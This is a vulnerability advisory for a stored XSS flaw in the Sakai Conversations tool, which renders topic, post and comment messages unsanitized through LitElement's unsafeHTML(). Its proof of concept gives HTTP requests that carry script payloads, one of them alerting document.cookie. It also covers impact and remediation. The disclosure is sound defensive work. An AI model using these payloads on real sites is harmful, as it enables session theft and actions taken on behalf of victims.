CVE-2026-54049: XSS
Summary
The Sakai Conversations tool stores topic and post messages without HTML sanitization, and the frontend renders them using LitElement's unsafeHTML() directive, resulting in stored cross-site scripting (XSS). Any authenticated user with access to a site that has the Conversations tool enabled can inject arbitrary HTML and JavaScript that executes in the browsers of all other users who view that topic or post.
Description
The Conversations REST API endpoint POST /api/sites/{siteId}/topics accepts a message field in the JSON request body. The service layer (ConversationsServiceImpl) stores the message directly to the database (convtopics.MESSAGE) without invoking FormattedText.processFormattedText() or any equivalent HTML sanitizer.
The same issue affects post replies via POST /api/sites/{siteId}/topics/{topicId}/posts and comments stored in convcomments.
On the frontend, SakaiTopic.js, SakaiPost.js, and SakaiComment.js all render the message field using LitElement's unsafeHTML() directive:
- SakaiPost.js lines 429, 432: ${unsafeHTML(this.post.message)} - SakaiTopic.js line 679: ${unsafeHTML(this.topic.message)} - SakaiComment.js line 148: ${unsafeHTML(this.comment.message)}
Unlike other Sakai tools (Announcements, Assignments, Resources) which call FormattedText.processFormattedText() before persisting user content, the Conversations implementation has no equivalent protection at storage time or render time.
Proof of Concept
Setup: Admin/instructor session on a site with the Conversations tool enabled (siteId BELP275K7418).
Step 1 - Inject XSS payload in topic:
POST /api/sites/BELP275K7418/topics HTTP/1.1 Host: localhost:9107 Cookie: SAKAIID=<authenticated-session> Content-Type: application/json
{"title":"XSS Test Topic","message":"<img src=x onerror=alert(1)>","type":"QUESTION","visibility":"SITE","draft":false}
Response: HTTP 200, "message":"<img src=x onerror=alert(1)>" - raw HTML stored.
Step 2 - Verify stored in database:
sql SELECT TOPICID, TITLE, MESSAGE FROM convtopics WHERE TOPICID='e4c599c2-bd32-4364-9cbd-a5c9c102edfb'; -- Result: MESSAGE = <img src=x onerror=alert(1)>
Step 3 - Inject XSS payload in post reply:
POST /api/sites/BELP275K7418/topics/e4c599c2-bd32-4364-9cbd-a5c9c102edfb/posts HTTP/1.1 Host: localhost:9107 Cookie: SAKAIID=<authenticated-session> Content-Type: application/json
{"message":"<script>alert(document.cookie)<\/script>","siteId":"BELP275K7418"}
Response: HTTP 200, "message":"<script>alert(document.cookie)</script>" - raw script stored.
Step 4 - Verify in database:
sql SELECT POSTID, MESSAGE FROM convposts WHERE POSTID='e3cf7aed-c630-448a-89bb-27a8baacd269'; -- Result: MESSAGE = <script>alert(document.cookie)</script>
When any site member loads the Conversations view, the LitElement web component fetches the stored messages via the REST API and renders them with unsafeHTML(), causing the injected scripts and event handlers to execute.
Impact
An attacker with any site membership (student role or higher) can: - Perform actions on behalf of victims - Exfiltrate gradebook data and course content - In a university context with hundreds of students per course, a single malicious post can compromise all enrolled students simultaneously
Status / timeline: - 2026-06-02: Fix committed to master (2696b4b48cbef2e81512f52f84f7477adff78b27) - Release pending.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
Sakai Conversations tool (SakaiTopic.js/SakaiPost.js/SakaiComment.js)to a version that resolves this vulnerability.Fixed in 2696b4b48cbef2e81512f52f84f7477adff78b27 - Configuration
Update SakaiTopic.js (line 679), SakaiPost.js (lines 429, 432), and SakaiComment.js (line 148) so that the topic/post/comment message is not rendered via LitElement's unsafeHTML() directive, preventing stored XSS from executing injected HTML/JS.
Frontend (LitElement rendering) unsafeHTML() usage for message fields = Do not use unsafeHTML() to render user-controlled message content (use HTML sanitization/escaped rendering instead)
Event History
Frequently Asked Questions
Who is exposed to this issue?
Users who view a topic, post, or comment in a Sakai site where the Conversations tool is enabled can have attacker-supplied HTML and JavaScript execute in their browser. The attacker must be an authenticated user with access to that site.
What does an attacker need to do to exploit it?
The attacker can submit a crafted message through the topic endpoint or through the post-reply functionality. The malicious content is stored and executes when other users view the affected topic, post, or comment.
Which interfaces and stored content should be investigated?
Review content submitted through POST /api/sites/{siteId}/topics and POST /api/sites/{siteId}/topics/{topicId}/posts, as well as comments stored in conv_comments. Topic messages are stored in conv_topics.MESSAGE and are rendered by the Conversations frontend using unsafeHTML().